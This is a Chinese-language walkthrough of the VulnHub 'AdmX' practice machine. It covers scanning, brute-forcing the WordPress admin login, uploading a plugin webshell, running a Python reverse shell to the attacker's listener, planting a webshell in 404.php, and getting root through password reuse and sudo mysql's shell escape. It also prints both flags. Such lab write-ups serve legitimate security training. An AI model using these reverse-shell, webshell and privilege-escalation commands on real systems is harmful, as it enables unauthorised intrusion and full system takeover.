靶机地址: https://download.vulnhub.com/admx/AdmX_new.7z
难度等级: 中
打靶目标: 取得 2 个 flag + root 权限
一、信息收集
1.主机发现
1 | sudo nmap -sn 10.0.2.0/24 |
2.端口扫描
1 | sudo nmap -p- 10.0.2.11 |
3.端口服务信息扫描
1 | sudo nmap -sV -p80 10.0.2.11 |
4.访问10.0.2.11的80端口页面
访问:10.0.2.11:80
是Apache在Ubuntu下的默认页面,没有能够利用的信息
5.使用feroxbuster目录扫描
(字典:sudo apt install seclist 较大)
1 | feroxbuster --url http://10.0.2.11 -w /usr/share/dirb/wordlists/common.txt |
扫描部分结果如下:
6.访问可疑目录
载入页面的过程长达5分钟,只能显示页面的部分信息,且一直处于加载中状态
思考:一个WordPress的站点,究竟在访问过程中加载了什么?使得加载过程如此缓慢?
7.使用Burpsuite对访问页面的流量进行分析
配置代理–OFF–访问http://10.0.2.11/wordpress/ –HTTP history
发现在访问http://10.0.2.11/wordpress/的过程中,页面在资源请求时还会访问地址192.168.159.145
对页面返回的响应结果进行筛选过滤192.168.159.145
发现存在默认访问该IP的硬编码写入
使用Burpsuite–Proxy–Match and Replace–Add–配置
作用:将响应头部中和响应体内的192.168.159.145强制替换为10.0.2.11
重新访问页面
发现访问顺畅迅速,且加载了之前没能加载到的前端JS脚本,即页面加载成功。
二、漏洞挖掘
1.对页面里的链接和表单提交等位置尝试检测
并未发现直接漏洞
2.对WordPress版本的漏洞进行查找
并未发现直接可利用漏洞(代码执行等)
3.返回查看目录扫描结果
发现疑似管理后台路径,尝试访问http://10.0.2.11/wordpress/wp-admin
确实是WordPress的管理后台,查询获得WordPress默认账号为admin,尝试弱口令后无果
4.对管理页面进行密码爆破
根据长度筛选出 请求密码为adam14时发生了重定向
分析响应头中,重定向到http://192.168.159.145/wordpress/wp-admin/
且有服务端分配给访问者的cookie
登录WordPress后台,WordPress版本为5.7.1
5.WordPress后台漏洞利用
5.1尝试在“主题”插入一句话木马连接蚁剑
Appearance–Theme Editor–404.php
上传失败
5.2利用插件上传webshell
5.2.1上传实现反弹shell连接
本地写一个简单的插件(符合WordPress标准的)
Plugins–Add–Upload Plugins
并压缩为可上传格式
上传、激活
插件默认路径为:
http://10.0.2.11/wordpress/wp-content/plugins/shell.php
尝试执行id命令:
http://10.0.2.11/wordpress/wp-content/plugins/shell.php?cmd=id
确定了webshell上传成功,且可执行操作系统命令
5.2.2 确认目标靶机上可利用的信息/软件
Kali监听4444端口
1 | nc -nvlp 4444 |
确定目标靶机是否有nc
(存在,但本次尝试其他方法)
确定目标靶机是否有Python环境
目标靶机存在Python3环境
5.2.3使用python3反弹shell代码
1 | ?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
使用msf 寻找可利用的wordpress exp
1 | sudo msfdb run |
1 | search wordpress admin |
1 | use 2 |
1 | show options |
1 | set PASSWORD adam14 |
1 | set RHOSTS 10.0.2.11 |
1 | set TARGETURI /wordpress |
1 | set USERNAME admin |
1 | run |
缺点:有些命令不能成功显示
5.3再次尝试在“主题”插入一句话木马
回顾之前在Web页面插入一句话木马修改404.php模板失败,那在现已经获得命令行shell的前提下,是否可以尝试手动的添加一句话?
1 | cd wp-content |
1 | cd themes |
1 | ls |
再结合页面信息,确定当前主题名为twentytwentyone(404.php在其目录下)
1 | cd twentytwentyone |
1 | ls |
1 | vi 404.php |
试图移动光标发现webshell在交互过程中仍存在不足
升级webshell(只适用于bash)(此处是第二次复现整理的WP所以未再次退回环境重新截图,请参考代码文字即可)
1 | Ctrl+Z |
1 | stty raw -echo |
1 | fg #返回之前的连接 |
1 | ls |
因为kali是zsh,故要切换为bash
1 | ls /bin/bash #确定是否有bash |
1 | sudo chsh -s /bin/bash #更改root用户 |
重启后进行确认并监听
准备重新连接shell
连接成功
升级webshell
1 | Ctrl+Z |
1 | stty raw -echo |
1 | fg #返回之前的连接 |
1 | ls |
1 | export SHELL=/bin/bash |
1 | export TERM=screen |
1 | stty rows 38 columns 116 |
1 | reset |
(升级成功 可Tab补全)调小字体后
在404.php中写入一句话
1 | vi wp-content/themes/twentytwentyone/404.php |
保存后打开蚁剑进行配置以维持权限稳定
1 | Shell:http://10.0.2.11/wordpress/wp-content/themes/twentytwentyone/404.php |
成功连接
三、提权
1.查看/etc/passwd
1 | cat /etc/passwd |
2.查看主目录文件内是否有该用户
1 | ls /home/wpadmin/ -l |
发现存在local.txt文件,只有wpadmin用户对其有读的权限
3.查看操作系统内核
1 | uname -a |
失败
4.尝试查看当前用户有没有sudo权限
1 | sudo -l |
失败
5.查看WordPress的配置文件
1 | cd /var/www/html/wordpress/ |
1 | cat wp-config.php |
6.是否有密码复用的可能性?
1 | ww-data@wp:/var/www/html/wordpress$ su wpadmin |
失败
7.尝试登录数据库账号
1 | mysql -u admin -p Wp_Admin#123 -D wordpress |
失败
8.尝试是否复用了Web页面的密码
1 | su wpadmin |
尝试输入密码adam14
1 | cat local.txt |
flag1:153495edec1b606c24947b1335998bd9
9.二次提权
1 | sudo -l |
提示可以执行的命令:
1 | sudo /usr/bin/mysql -u root -D wordpress -p #输入密码adam14 |
成功登录数据库
10.利用mysql数据库特性
当前启动的数据库进程是具有root权限的,结合mysql数据库 system 命令 的功能
1 | system id |
1 | \! /bin/bash |
成功获取root权限
1 | cd /root |
1 | ls |
1 | cat proof.txt |
flag2:7efd721c8bfff2937c66235f2d0dbac1